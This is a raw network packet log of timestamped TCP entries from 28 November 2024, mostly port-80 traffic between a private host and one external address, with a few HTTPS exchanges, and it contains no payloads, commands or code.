Nov 28, 2024 15:17:40.128283024 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.129942894 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.130007982 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.130060911 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.130584002 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.131680012 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.131761074 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.131773949 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.131963968 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.133344889 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.133411884 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.133424044 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.133598089 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.135068893 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.135165930 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.135169983 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.135207891 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.136800051 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.136885881 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.136934996 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.137052059 CET	443	49836	18.165.220.110	192.168.2.6
Nov 28, 2024 15:17:40.137877941 CET	49836	443	192.168.2.6	18.165.220.110
Nov 28, 2024 15:17:40.137891054 CET	443	49836	18.165.220.110	192.168.2.6
Nov 28, 2024 15:17:40.138550997 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.138609886 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.138647079 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.138896942 CET	443	49836	18.165.220.110	192.168.2.6
Nov 28, 2024 15:17:40.138962984 CET	49836	443	192.168.2.6	18.165.220.110
Nov 28, 2024 15:17:40.138966084 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.139684916 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.139746904 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.139799118 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.140297890 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.140889883 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.140943050 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.141125917 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.141295910 CET	49836	443	192.168.2.6	18.165.220.110
Nov 28, 2024 15:17:40.141364098 CET	443	49836	18.165.220.110	192.168.2.6
Nov 28, 2024 15:17:40.142121077 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.142179012 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.142254114 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.142402887 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.143336058 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.143420935 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.143484116 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.144464016 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.144524097 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.144551992 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.144685030 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.145713091 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.145823956 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.145878077 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.146910906 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.147069931 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.147130013 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.148104906 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.148164988 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.148225069 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.148268938 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.149295092 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.149415970 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.149480104 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.150499105 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.150703907 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.150763988 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.151686907 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.151737928 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.151772022 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.151814938 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.152900934 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.152956963 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.153059959 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.153255939 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.154181004 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.154236078 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.154273033 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.154464006 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.155328989 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.155383110 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.155448914 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.155487061 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.156481028 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.156528950 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.156591892 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.156636953 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.157700062 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.157759905 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.157762051 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.157815933 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.158910990 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.158958912 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.159004927 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.159039974 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.160137892 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.160191059 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.160206079 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.160245895 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.161396980 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.161531925 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.161679983 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.161730051 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.162527084 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.162622929 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.162786007 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.163731098 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.163794041 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.163796902 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.163887024 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.164899111 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.164968014 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.164982080 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.165021896 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.166130066 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.166163921 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.166192055 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.166213036 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.167654991 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.167777061 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.167809963 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.167824984 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.168493032 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.168540955 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.168582916 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.168687105 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.169698954 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.169842958 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.169853926 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.169881105 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.170922041 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.170979977 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.171049118 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.171160936 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.172110081 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.172854900 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.273654938 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:40.283245087 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.287290096 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.287394047 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.287410975 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.296164036 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.296236992 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.296283960 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.296508074 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.296689034 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.296761990 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.296803951 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.297808886 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.297909975 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.298023939 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.298098087 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.298890114 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.298952103 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.298962116 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.299031973 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.299051046 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.299056053 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.299107075 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.299972057 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.300013065 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.300105095 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.300463915 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.301095963 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.301156998 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.301194906 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.301239014 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.302186966 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.302238941 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.302248001 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.302280903 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.303253889 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.303338051 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.303406000 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.304404020 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.304455042 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.304466009 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.304506063 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.305403948 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.305496931 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.305542946 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.306483984 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.306549072 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.306591034 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.306794882 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.307626009 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.307682991 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.307696104 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.307864904 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.308650017 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.308679104 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.308710098 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.308749914 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.308785915 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.308785915 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.308876991 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.309731960 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.309839010 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.309902906 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.310843945 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.310909986 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.310957909 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.311187029 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.311986923 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.312046051 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.312047958 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.312082052 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.312082052 CET	49836	443	192.168.2.6	18.165.220.110
Nov 28, 2024 15:17:40.312100887 CET	443	49836	18.165.220.110	192.168.2.6
Nov 28, 2024 15:17:40.313139915 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.313194990 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.313234091 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.313278913 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.314167023 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.314418077 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.314449072 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.314462900 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.315244913 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.315326929 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.315371990 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.316281080 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.316380024 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.317389965 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.317409039 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.317452908 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.317468882 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.318474054 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.318614960 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.319441080 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.319511890 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.319773912 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.319806099 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.319864035 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.320594072 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.320679903 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.320944071 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.321724892 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.321801901 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.321875095 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.321896076 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.321969032 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.321991920 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.322774887 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.322834969 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.322853088 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.322896957 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.323893070 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.323951960 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.323956013 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.324178934 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.325025082 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.325042009 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.325103045 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.326042891 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.326102018 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.326122999 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.326188087 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.327161074 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.327259064 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.327338934 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.328208923 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.328263998 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.328273058 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.328321934 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.329325914 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.329402924 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.329530954 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.329597950 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.330400944 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.330404043 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.330472946 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.331474066 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.331536055 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.331594944 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.331651926 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.332580090 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.332612038 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.332683086 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.333201885 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:40.333281040 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:40.333316088 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:40.333638906 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.333865881 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.333928108 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.334738970 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.334758043 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.334803104 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.334815979 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.334891081 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.335031033 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.335062981 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.335819006 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.335926056 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.335958958 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.336093903 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.336908102 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.336967945 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.337054014 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.337232113 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.338042021 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.338097095 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.338166952 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.339071989 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.339148998 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.339236975 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.339354038 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.339596033 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:40.339660883 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:40.340090990 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:40.340112925 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:40.340147972 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.340233088 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:40.340244055 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:40.340269089 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.340301991 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.340316057 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.341253042 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.341325998 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.341334105 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.341378927 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.342358112 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.342415094 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.342504978 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.342638969 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.343360901 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.343420982 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.343482971 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.343524933 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.344464064 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.344532967 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.344567060 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.345232964 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.345570087 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.345652103 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.345704079 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.346638918 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.346690893 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.346731901 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.346972942 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.347712040 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.347791910 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.347842932 CET	49804	80	192.168.2.6	185.215.113.206
